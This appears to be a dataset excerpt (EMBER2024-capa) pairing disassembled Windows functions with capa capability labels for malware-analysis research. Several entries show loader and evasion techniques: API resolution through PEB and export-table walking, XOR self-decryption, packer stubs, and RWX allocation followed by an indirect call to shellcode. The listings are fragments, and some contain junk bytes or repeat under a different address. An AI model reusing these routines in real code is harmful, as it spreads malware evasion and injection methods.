joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402f94
Capabilities:
Parse pe header

Disassembly:
push 0xc
push 0x4034a8
call fcn.0040340c
xor ecx, ecx
mov eax, dword [ebp + 8]
test eax, eax
je 0x402ff4
cmp eax, 0xffffffff
je 0x402ff4
mov dword [ebp - 4], ecx
mov edx, 0x5a4d
cmp word [eax], dx
jne 0x402fed
mov edx, dword [eax + 0x3c]
test edx, edx
js 0x402fed
cmp edx, 0x10000000
jae 0x402fed
add eax, edx
mov dword [ebp - 0x1c], eax
mov ecx, dword [eax]
sub ecx, 0x4550
neg ecx
sbb ecx, ecx
not ecx
and ecx, eax
jmp 0x402fea
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 4], 0xfffffffe
mov eax, ecx
call fcn.00403451
ret 4

Function at 0x403040
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor edx, edx
push ebx
push esi
push edi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
movzx ebx, word [ecx + 6]
add eax, 0x18
add eax, ecx
test ebx, ebx
je 0x40307e
mov edi, dword [ebp + 0xc]
mov esi, dword [eax + 0xc]
cmp edi, esi
jb 0x403076
mov ecx, dword [eax + 8]
add ecx, esi
cmp edi, ecx
jb 0x403080
inc edx
add eax, 0x28
cmp edx, ebx
jb 0x403066
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x403150
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
je 0x403166
xor eax, eax
pop ebp
ret
mov ecx, dword [eax + 0x3c]
add ecx, eax
xor eax, eax
cmp dword [ecx], 0x4550
jne 0x403181
mov edx, 0x10b
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret

Function at 0x4093f0
Capabilities:
Encode data using xor

Disassembly:
call 0x409369
sub bl, byte [ebx]
mov eax, 0x64f7f691
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
cld
test edx, ebx
or eax, dword [ebx - 0x178f73c]
xor esi, 0xde5af04
add eax, esi
lea esp, [esp - 0xe]
mov esi, dword [esp + 0xe]
lea esp, [esp + 0x12]
xor esi, dword [esp]
push eax
sub eax, 0xf24f2b00
mov eax, esp
or dword [eax - 0x22], ebx
pop eax
jmp 0x409399
xor dword [esp], esi
xor eax, 0
mov dword [esp], esi
add esp, 4
add esi, dword [ebp + 8]
push ebp
add ebp, 0xc
mov ecx, dword [ebp]
pop ebp
ja 0x4093b5
xor edx, 0
jmp 0x4093c0
xor edx, edx
jmp 0x4093d7
jmp 0x4093e3
xor eax, eax
push 0x8427d7c0
call 0x4093f0
stc
add esp, 8
add esi, 0
cmp ecx, 0
je 0x40942c
mov ebx, dword [ebp + 0x10]
mov edi, dword [ebp + 0x14]
add bl, dl
xor byte [esi], bl
mov dl, byte [esi]
inc esi
add ebx, edi
rol ebx, 8
dec ecx
jne 0x409405
lea esp, [esp - 4]
xchg dword [esp], ebx
mov ebx, dword [esp]
or eax, edx
xor eax, eax
add eax, dword [esp]
add esp, 4
pop esi
pop edi
pop ebx
xchg dword [esp], ecx
mov dword [esp], ecx
lea esp, [esp + 4]
pop edx
leave
je 0x409443
add eax, 0
jno 0x409448
add esi, 0
ret 0x10
Function at 0x40a1b1
Capabilities:
Encode data using xor

Disassembly:
lea esp, [esp - 0x63]
mov dword [esp + 0x5f], ebx
lea esp, [esp + 0x5f]
mov ebx, 0x8dff8662
xchg dword [esp], ebx
and dword [esp], ebp
jmp 0x40a1d3
add ebx, 0
or dword [esp], ebp
mov ebp, esp
push eax
push edi
lea esp, [esp - 4]
xchg dword [esp], ecx
pop ecx
lea esp, [esp - 4]
mov edi, dword [ebp + 8]
mov eax, dword [ebp + 0xc]
cmp edi, dword [ebp + 0x14]
ja 0x40a375
cmp edi, dword [ebp + 0x10]
jb 0x40a375
lea esi, [esi]
sub esi, 0
push dword [ebp + 0x14]
push dword [ebp + 0x10]
sub esp, 0x6a
mov dword [esp + 0x66], 0xc2ccbc3c
add esp, 0x66
mov dword [esp], edi
or edi, 0xffffffff
and edi, 0xcedcf875
xor edi, 0xce9c140e
xchg dword [esp], edi
push edx
mov edx, esp
xor edx, 0
add edx, 0
push ebx
lea ebx, [edx + 4]
mov dword [ebx], eax
pop ebx
pop edx
push edi
call fcn.00409c9d
inc edi
jmp 0x40a25c
jmp 0x40a269
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push edi
call fcn.00409c9d
inc edi
and dword [esp - 0x4e], ecx
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push edi
call fcn.00409c9d
inc edi
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push 0
sub esi, 0
add dword [esp], edx
xor edx, edx
je 0x40a2bd
sub bl, byte [ebx]
mov eax, 0x64f7f691
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
cld
test edx, ebx
or edx, 0x13e27bd2
push ebx
add ebx, esi
mov ebx, esp
xor dword [ebx - 0x2a], edi
fdiv qword [ecx]
jnp 0x40a2a1
pop ebx
xor edx, 0x1b7d0cc
add edx, 0xedeb415d
xchg dword [esp], edx
push edx
mov edx, esp
call int.0040a2eb
add dword [eax], 0x39
jle 0x40a2c7
sub al, 0xf5
mov ch, al
call fcn.0040a300
mov dword [edi], eax
pop ecx
pop edi
pop eax
leave
ret 0x10

Function at 0x40bfd8
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push ecx
push edx
push 0
sub esi, esi
shr esi, 9
and dword [esp - 0x69], ebx
jbe 0x40bfee
add edi, 0
shr esi, 0x17
or esi, dword [esp]
add esp, 4
add esi, dword [ebp + 8]
xor eax, eax
xor edx, edx
cld
and dword [esp - 0x46], edx
xor ecx, ecx
rol edx, 7
and dword [esp - 0x4b], edx
xor dl, al
mov al, byte [esi]
inc esi
or al, al
jne 0x40bfff
mov eax, edx
pop edx
pop ecx
pop esi
mov esp, ebp
mov ebp, dword [esp]
add esp, 4
push 0x54
call fcn.0040c040
std
inc ebx
sar cl, 0x3e
lahf
in al, dx
mov ch, 0x4a
mov ebx, 0x971631d8
test byte [ebp - 0x5e], ch
xor eax, dword [ebx + 0x2b5108c4]
add esp, 8
push ecx
sub ecx, eax
mov ecx, esp
cmp dword [ecx - 0x51], edx
Function at 0x40e3ac
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push 0xffffffffffffffff
push esi
mov esi, esp
xor dword [esp - 0x43], esi
xor dword [esp - 0x45], esi
and dword [esi + 4], eax
pop esi
push 0
ja 0x40e2f5
add ebx, 0
push ecx
call 0x40e30a
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
add esp, 8
xor dword [esp], ebx
sub esp, 0x6b
mov dword [esp + 0x67], edx
add esp, 0x67
push ecx
push 0
xor dword [esp - 0x56], edx
xor edi, 0
add dword [esp], edi
push esi
mov ebx, 0x6c05306d
sub ebx, dword [0x6c0728ac]
mov dword [ebp - 8], ebx
xchg esi, eax
push 0x6c07289c
call fcn.00409dd4
xchg esi, eax
add esi, ebx
mov edx, dword [ebp + 8]
sub edx, ebx
call fcn.004092e2
mov edi, eax
mov eax, dword [esi + 8]
xor dword [esp - 0x69], edx
xor ebx, 0
xor eax, edi
cmp edx, eax
jb 0x40e468
mov eax, dword [esi + 0xc]
xor eax, edi
cmp edx, eax
ja 0x40e468
mov ecx, dword [esi + 0x10]
sub dword [esp - 0x34], ebx
xor ecx, edi
mov edx, dword [esi + 0x14]
xor edx, edi
shl edx, 2
add edx, 0x18
mov eax, dword [esi]
xor eax, edi
cmp eax, 1
je 0x40e41f
mov eax, 1
lock xchg dword [0x6c0728a8], eax
push 0x3dd1fc71
call 0x40e3ac
push esi
add esp, 8
cmp eax, 0
jne 0x40e395
push edx
mov eax, edi
xor byte [esi + edx], al
inc edx
dec ecx
jne 0x40e3bb
pop edx
mov eax, dword [esi + 0x14]
xor eax, edi
js 0x40e3d0
cmp ecx, edx
cmp eax, 0
je 0x40e3f5
mov dword [ebp - 4], eax
lea ecx, [esi + 0x18]
mov eax, dword [esi + ecx]
xor eax, edi
add eax, edx
add dword [esi + eax], ebx
add ecx, 4
dec dword [ebp - 4]
jne 0x40e3df
mov eax, 1
mov dword [esp - 0x1a], eax
push 0x8ae1b7eb
call fcn.0040e40e
dec eax
loope 0x40e411
invalid
xor eax, edi
mov dword [esi], eax
mov dword [0x6c0728a8], 0
add edx, esi
mov dword [ebp + 4], edx
xchg dword [esp], esi
push ecx
lea ecx, [edi - 0x72d1f741]
mov ecx, esp
mov dword [ecx - 0x15], ebx
pop ecx
push esi
xor esi, esi
mov esi, esp
and dword [esi - 0x1d], ecx
pop esi
mov dword [esp], esi
jb 0x40e445
xor edx, 0
add esp, 4
pop edi
pop ecx
pop edx
pop ebx
pop eax
leave
jmp 0x40e45a
jmp 0x40e465
ret 4
mov eax, dword [esi + 4]
xor eax, edi
add esi, eax
jmp 0x40e353

Function at 0x4154cd
Capabilities:
Access peb ldr_data

Disassembly:
add esp, 8
and dword [esp], ebx
push ecx
push edx
push edi
push esi
or edi, 0xffffffff
not edi
add edi, dword [ebp + 8]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov ecx, dword [eax + 0xc]
push ecx
xor edx, edx
mov ecx, dword [ecx]
cmp ecx, dword [esp]
je 0x4157a3
push ebp
push 0xffffffffffffffff
sub esp, 0x32
mov dword [esp + 0x2e], 0x6c05f520
add esp, 0x2e
sub esp, 4
mov dword [esp], 0x6c0564e6
push 0xffffffffffffffff
call fcn.0040c6cd
xchg edx, eax
and eax, 0
add eax, 0x75d46dc4
push ecx
and ecx, 0xcfb6d7ec
mov ecx, esp
mov dword [ecx - 0x54], esi
pop ecx
ja 0x415537
and eax, eax
xchg edx, eax
mov edx, dword [ecx + edx - 0x75d46dac]
call fcn.0041554f
mov byte [0xee69f033], al
invalid
mov eax, ecx
pop esi
mov edi, dword [esp]
add esp, 4
pop edx
xor ecx, ecx
add ecx, 0xffffffff
and ecx, dword [esp]
xor ecx, 0
add esp, 4
pop ebx
mov esp, ebp
mov ebp, dword [esp]
add esp, 4
jno 0x415797
xor eax, 0
ret 4
xor ecx, ecx
jmp 0x41576b
Function at 0x424f9d
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push ecx
lea esp, [esp - 0x10]
mov dword [esp + 0xc], edx
lea esp, [esp + 0xc]
sub esp, 4
mov dword [esp], 0x8b92e34e
mov dword [esp], edi
push esi
mov eax, dword [ebp + 8]
and ax, 0xf001
dec eax
cmp word [eax], 0x5a4d
jne 0x424fbf
mov ebx, dword [eax + 0x3c]
cmp ebx, 0xf08
ja 0x424fbf
add ebx, eax
cmp dword [ebx], 0x4550
jne 0x424fbf
ret
cmp word [ebx + 4], 0x14c
jne 0x424fbf
test word [ebx + 0x16], 2
je 0x424fbf
test word [ebx + 0x16], 0x100
je 0x424fbf
cmp word [ebx + 0x18], 0x10b
jne 0x424fbf
mov edx, dword [ebx + 0x78]
cmp edx, 0
je 0x424fbf
lea edx, [eax + edx]
mov edx, dword [edx + 0xc]
push 0xe1641d81
call 0x42504b
adc al, 0xbd
mov dl, 3
cmp byte [ecx + 0x75ac5ffe], 0xa
jnp 0x424fdf
int1
salc
push edi
inc esp
add esp, 8
lea edx, [edx + eax]
mov ebx, eax
push edx
call fcn.0040bf2a
xchg ebx, eax
cmp ebx, dword [ebp + 0xc]
jne 0x424fbf
sub esp, 0x3e
mov esi, dword [esp + 0x3e]
add esp, 0x42
pop edi
mov edx, dword [esp]
add esp, 4
pop ecx
pop ebx
leave
ret 8

Function at 0x42504b
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push ecx
lea esp, [esp - 0x10]
mov dword [esp + 0xc], edx
lea esp, [esp + 0xc]
sub esp, 4
mov dword [esp], 0x8b92e34e
mov dword [esp], edi
push esi
mov eax, dword [ebp + 8]
and ax, 0xf001
dec eax
cmp word [eax], 0x5a4d
jne 0x424fbf
mov ebx, dword [eax + 0x3c]
cmp ebx, 0xf08
ja 0x424fbf
add ebx, eax
cmp dword [ebx], 0x4550
jne 0x424fbf
ret
cmp word [ebx + 4], 0x14c
jne 0x424fbf
test word [ebx + 0x16], 2
je 0x424fbf
test word [ebx + 0x16], 0x100
je 0x424fbf
cmp word [ebx + 0x18], 0x10b
jne 0x424fbf
mov edx, dword [ebx + 0x78]
cmp edx, 0
je 0x424fbf
lea edx, [eax + edx]
mov edx, dword [edx + 0xc]
push 0xe1641d81
call 0x42504b
adc al, 0xbd
mov dl, 3
cmp byte [ecx + 0x75ac5ffe], 0xa
jnp 0x424fdf
int1
salc
push edi
inc esp
add esp, 8
lea edx, [edx + eax]
mov ebx, eax
push edx
call fcn.0040bf2a
xchg ebx, eax
cmp ebx, dword [ebp + 0xc]
jne 0x424fbf
sub esp, 0x3e
mov esi, dword [esp + 0x3e]
add esp, 0x42
pop edi
mov edx, dword [esp]
add esp, 4
pop ecx
pop ebx
leave
ret 8
Function at 0x425102
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0
push ecx
xor ecx, ecx
jne 0x42515b
mov ecx, esp
xor dword [ecx - 0x55], edi
pop ecx
call 0x425102
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
call 0x425111
cld
test edx, ebx
or ebp, eax
add dword [esi - 0x7cc26b19], esp
les ecx, [eax]
or dword [esp], ebp
mov ebp, esp
sub esp, 0x100
push ebx
push edx
push ecx
push edi
push esi
mov ebx, dword [ebp + 8]
mov edx, ebx
add ebx, dword [ebx + 0x3c]
mov ebx, dword [ebx + 0x78]
lea ebx, [ebx + edx]
mov eax, dword [ebx + 0x24]
add eax, edx
xor edi, edi
jne 0x82adb4
or edi, dword [ebx + 0x20]
add edi, edx
mov ecx, dword [ebx + 0x18]
mov esi, dword [edi]
add esi, edx
push 0
push ecx
mov ecx, esp
push 0x55d34c8a
call 0x425162
sti
sbb byte [ecx + 0x56], dh
xlatb
les ebp, [ebp + 0x8c483e2]
xchg dword [ecx + 4], eax
xor eax, edx
shl eax, 3
xor ecx, 0
shl eax, 0x1d
add eax, dword [ecx + 4]
pop ecx
push esi
call fcn.0040bfd8
cmp eax, dword [ebp + 0xc]
pop eax
je 0x425201
add edi, 4
add eax, 2
dec ecx
jne 0x425147
call 0x4251ae
loope 0x4251a4
invalid
sbb esi, ebx
mov edi, 0xdbead58c
js 0x4251fe
mov dh, 0xe8
or byte [eax], al
add byte [eax], al
mov bh, 0x24
lea eax, [edx + 0x53]
nop
mov dword [esi + 0x2308c483], ecx
sal byte [ecx], 0xc0
fsub st(7)
int 0xf
mov bh, 0
movzx eax, word [eax]
jmp 0x42520f
shl eax, 2
add eax, dword [ebx + 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, edx
mov ebx, edx
add ebx, dword [edx + 0x3c]
mov ecx, dword [ebx + 0x7c]
mov ebx, dword [ebx + 0x78]
add ebx, edx
add ecx, ebx
cmp eax, ebx
jb 0x4251c2
cmp eax, ecx
ja 0x4251c2
mov esi, eax
lea edi, [ebp - 0x100]
mov al, byte [esi]
mov byte [edi], al
inc edi
inc esi
js 0x42524c
or ecx, ecx
xor dword [esp - 0x6b], eax
cmp al, 0x2e
jne 0x425242
lea edi, [ebp - 0x100]
push 0x100
push edi
push esi
call fcn.0040c4b7
lea esp, [esp - 0x60]
mov dword [esp + 0x5c], edi
lea esp, [esp + 0x5c]
Function at 0x425111
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0
push ecx
xor ecx, ecx
jne 0x42515b
mov ecx, esp
xor dword [ecx - 0x55], edi
pop ecx
call 0x425102
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
call 0x425111
cld
test edx, ebx
or ebp, eax
add dword [esi - 0x7cc26b19], esp
les ecx, [eax]
or dword [esp], ebp
mov ebp, esp
sub esp, 0x100
push ebx
push edx
push ecx
push edi
push esi
mov ebx, dword [ebp + 8]
mov edx, ebx
add ebx, dword [ebx + 0x3c]
mov ebx, dword [ebx + 0x78]
lea ebx, [ebx + edx]
mov eax, dword [ebx + 0x24]
add eax, edx
xor edi, edi
jne 0x82adb4
or edi, dword [ebx + 0x20]
add edi, edx
mov ecx, dword [ebx + 0x18]
mov esi, dword [edi]
add esi, edx
push 0
push ecx
mov ecx, esp
push 0x55d34c8a
call 0x425162
sti
sbb byte [ecx + 0x56], dh
xlatb
les ebp, [ebp + 0x8c483e2]
xchg dword [ecx + 4], eax
xor eax, edx
shl eax, 3
xor ecx, 0
shl eax, 0x1d
add eax, dword [ecx + 4]
pop ecx
push esi
call fcn.0040bfd8
cmp eax, dword [ebp + 0xc]
pop eax
je 0x425201
add edi, 4
add eax, 2
dec ecx
jne 0x425147
call 0x4251ae
loope 0x4251a4
invalid
sbb esi, ebx
mov edi, 0xdbead58c
js 0x4251fe
mov dh, 0xe8
or byte [eax], al
add byte [eax], al
mov bh, 0x24
lea eax, [edx + 0x53]
nop
mov dword [esi + 0x2308c483], ecx
sal byte [ecx], 0xc0
fsub st(7)
int 0xf
mov bh, 0
movzx eax, word [eax]
jmp 0x42520f
shl eax, 2
add eax, dword [ebx + 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, edx
mov ebx, edx
add ebx, dword [edx + 0x3c]
mov ecx, dword [ebx + 0x7c]
mov ebx, dword [ebx + 0x78]
add ebx, edx
add ecx, ebx
cmp eax, ebx
jb 0x4251c2
cmp eax, ecx
ja 0x4251c2
mov esi, eax
lea edi, [ebp - 0x100]
mov al, byte [esi]
mov byte [edi], al
inc edi
inc esi
js 0x42524c
or ecx, ecx
xor dword [esp - 0x6b], eax
cmp al, 0x2e
jne 0x425242
lea edi, [ebp - 0x100]
push 0x100
push edi
push esi
call fcn.0040c4b7
lea esp, [esp - 0x60]
mov dword [esp + 0x5c], edi
lea esp, [esp + 0x5c]
Function at 0x10012bf8
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
pushal
call 0x10012c07
pop dword [ebp - 8]
mov eax, 0x4fd8a709
sub eax, 0x3fd77b02
sub dword [ebp - 8], eax
mov dword [ebp - 0x18], 0x88d1a3d6
sub dword [ebp - 0x18], 0x3a7f5e8b
mov dword [ebp - 0x14], 0x1486ade8
add dword [ebp - 0x14], 0x1dac9e5d
mov dword [ebp - 0x10], 0x2eece931
add dword [ebp - 0x10], 0x1d5f5afd
mov dword [ebp - 0xc], 0xa88b0b8d
add dword [ebp - 0xc], 0x5774f473
lea eax, [ebp - 0x18]
push eax
mov eax, 0x67db67f3
add eax, 0xa8269811
add eax, dword [ebp - 8]
call dword [eax]
mov dword [ebp - 0x18], 0x84c2f6b6
sub dword [ebp - 0x18], 0x10508d60
mov dword [ebp - 0x14], 0x367d8fdf
add dword [ebp - 0x14], 0xaeed196
mov dword [ebp - 0x10], 0x7eb5d739
add dword [ebp - 0x10], 0xe4b99533
mov dword [ebp - 0xc], 0xc4c5eb9e
add dword [ebp - 0xc], 0x3b3a1462
lea ebx, [ebp - 0x18]
push ebx
push eax
mov eax, 0x6801d882
sub eax, 0x57ffd882
add eax, dword [ebp - 8]
call dword [eax]
push 0x40
push 0x1000
push 0x39ace
push 0
call eax
mov ecx, 0x3b77
xor esi, esi
add esi, eax
mov edx, 0x41643fd8
sub edx, 0x316183d8
add edx, dword [ebp - 8]
mov ebx, 0x542a8550
mov edi, dword [edx]
xor dword [ebp - 4], eax
add edi, ebx
add dword [ebp - 4], edx
mov dword [esi], edi
add dword [ebp - 4], eax
add esi, 4
add edx, 4
loop 0x10012d1f
add eax, 0xf14ea476
add eax, 0xeb23c39
xor ebx, ebx
add ebx, eax
add eax, 0x8f0ccf63
sub eax, 0x8f0ccf5e
mov ecx, 0x467d0aa8
sub ecx, 0x367d0aa8
add ecx, dword [ebp - 8]
call ebx
leave
ret

Function at 0x430002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x408ecc
nop
mov ecx, 0x7dac1335
nop
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x43004e
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x430024
nop
nop
mov eax, section..data
nop
mov ebx, 0x42e1d0
nop
nop
mov ecx, 0x618f2a58
nop
nop
nop
nop
test eax, eax
nop
je 0x430084
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x43006c
nop
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x401219
Function at 0x40143f
Capabilities:
Allocate or change rwx memory
Enumerate pe sections
Execute shellcode via indirect call
Get file size
Read file on windows
Resolve function by parsing pe exports

Disassembly:
push ebp
push esp
pop ebp
sub esp, 0x828
push ebx
push esi
push edi
sub eax, eax
mov word [ebp - reloc.comctl32.dll_PropertySheetA], ax
push 0x400
xor edi, edi
lea eax, [ebp - 0x828]
push eax
push edi
pop ebx
push edi
pop esi
push edi
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x10], esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea eax, [ebp - 0x828]
push edi
push 0x8000000
push 3
push edi
push 1
push 0x80000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push eax
pop edi
cmp edi, 0xffffffff
je 0x4014e0
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push eax
pop ebx
mov ecx, ebx
mov dword [ebp - 0x14], eax
call fcn.00401720
push eax
pop esi
push 0
lea eax, [ebp - 0x20]
push eax
push ebx
push esi
push edi
mov dword [ebp - 0x10], esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x4014c8
cmp dword [ebp - 0x20], ebx
je 0x4014d9
push esi
pop ecx
call fcn.00401790
xor esi, esi
sub ebx, ebx
mov dword [ebp - 0x10], esi
mov dword [ebp - 0x14], ebx
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 4]
push eax
push ecx
mov ecx, esi
call fcn.00401271
mov edx, dword [ebp - 8]
mov ecx, dword [ebp - 4]
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0xc]
push eax
call fcn.00401213
mov edi, dword [ebp - 0xc]
push reloc.winmm.dll_joyGetDevCapsW
mov eax, dword [edi + 0x3c]
add eax, edi
mov dword [ebp - 0x18], eax
mov eax, dword [eax + 0x50]
mov dword [ebp - 0x1c], eax
add eax, 0x18
push 0x3000
add eax, ebx
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push eax
pop ebx
mov dword [ebp - 8], ebx
or ebx, ebx
je 0x401650
push reloc.winmm.dll_joyGetDevCapsW
push edi
pop edx
push ebx
pop ecx
jmp section..htext
push edi
pop ecx
call fcn.00401790
mov ecx, esi
call fcn.00401790
pop edi
xor eax, eax
pop esi
inc eax
pop ebx
leave
ret

Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
mov ebx, 0x40de38
nop
mov ecx, 0x6fb57a37
nop
nop
nop
test eax, eax
nop
nop
je 0x43304e
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x433024
nop
nop
mov eax, section..data
nop
mov ebx, 0x4304d8
nop
mov ecx, 0x1b53753b
nop
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x433084
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
add eax, 4
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
jne 0x43306c
nop
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x431219
Function at 0x4116ad
Capabilities:
Access peb ldr_data
Get number of processors

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
mov eax, 0x6b
mov word [ebp - 0x24], ax
mov ecx, 0x65
mov word [ebp - 0x22], cx
mov edx, 0x72
mov word [ebp - 0x20], dx
mov eax, 0x6e
mov word [ebp - 0x1e], ax
mov ecx, 0x65
mov word [ebp - 0x1c], cx
mov edx, 0x6c
mov word [ebp - 0x1a], dx
mov eax, 0x33
mov word [ebp - 0x18], ax
mov ecx, 0x32
mov word [ebp - 0x16], cx
mov edx, 0x2e
mov word [ebp - 0x14], dx
mov eax, 0x64
mov word [ebp - 0x12], ax
mov ecx, 0x6c
mov word [ebp - 0x10], cx
mov edx, 0x6c
mov word [ebp - 0xe], dx
xor eax, eax
mov word [ebp - 0xc], ax
mov dword [ebp - 4], 0
mov ebx, dword fs:[0x30]
mov ebx, dword [ebx + 0xc]
mov ebx, dword [ebx + 0x14]
mov eax, dword [ebx + 0x28]
test eax, eax
je 0x411761
mov dword [ebp - 8], eax
lea ecx, [ebp - 0x24]
push ecx
mov edx, dword [ebp - 8]
push edx
call fcn.0041163d
add esp, 8
cmp eax, 0
mov eax, dword [ebx + 0x10]
mov ebx, dword [ebx]
jne 0x41173a
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x41176d
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x14
push ebp
push edi
mov edi, ecx
mov ebp, edx
test edi, edi
je 0x411788
test ebp, ebp
je 0x411788
mov eax, dword [edi + 0x3c]
cmp dword [eax + edi + 0x7c], 0
jne 0x411790
pop edi
xor eax, eax
pop ebp
add esp, 0x14
ret
mov eax, dword [eax + edi + 0x78]
add eax, edi
push ebx
mov ecx, dword [eax + 0x20]
mov edx, dword [eax + 0x24]
mov ebx, dword [eax + 0x14]
add ecx, edi
mov dword [esp + 0x10], ecx
push esi
mov esi, dword [eax + 0x1c]
mov ecx, ebp
sub ecx, dword [eax + 0x10]
add esi, edi
add edx, edi
mov dword [esp + 0x20], esi
mov dword [esp + 0x1c], edx
mov dword [esp + 0x10], ebx
cmp ecx, ebx
ja 0x4117d0
mov eax, dword [esi + ecx*4]
pop esi
pop ebx
add eax, edi
pop edi
pop ebp
add esp, 0x14
ret
mov eax, dword [eax + 0x18]
xor esi, esi
mov dword [esp + 0x18], eax
test eax, eax
je 0x41182c
mov ecx, ebx
movzx ebx, word [edx + esi*2]
cmp ebx, ecx
ja 0x411827
mov eax, dword [esp + 0x14]
mov ecx, ebp
mov eax, dword [eax + esi*4]
add eax, edi
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x411812
test dl, dl
je 0x41180e
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x411812
add ecx, 2
add eax, 2
test dl, dl
jne 0x4117f2
xor eax, eax
jmp 0x411817
sbb eax, eax
or eax, 1
test eax, eax
je 0x411836
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x1c]
mov ecx, dword [esp + 0x10]
inc esi
cmp esi, eax
jb 0x4117df
pop esi
pop ebx
pop edi
xor eax, eax
pop ebp
add esp, 0x14
ret
mov eax, dword [esp + 0x20]
pop esi
mov eax, dword [eax + ebx*4]
pop ebx
add eax, edi
pop edi
pop ebp
add esp, 0x14
ret
Function at 0x41184d
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x10
push ebx
push edi
mov edi, edx
mov ebx, ecx
call fcn.004116ad
test eax, eax
jne 0x411865
pop edi
pop ebx
add esp, 0x10
ret
push esi
lea edx, [esp + 0xc]
mov ecx, eax
mov dword [esp + 0xc], 0x74726956
mov dword [esp + 0x10], 0x416c6175
mov dword [esp + 0x14], 0x636f6c6c
mov byte [esp + 0x18], 0
call fcn.0041176d
mov esi, eax
test esi, esi
jne 0x41189b
pop esi
pop edi
pop ebx
add esp, 0x10
ret
push 0x40
push 0x3000
push edi
push ebx
call esi
test eax, eax
jne 0x4118b5
push 0x40
push 0x3000
push edi
push eax
call esi
pop esi
pop edi
pop ebx
add esp, 0x10
ret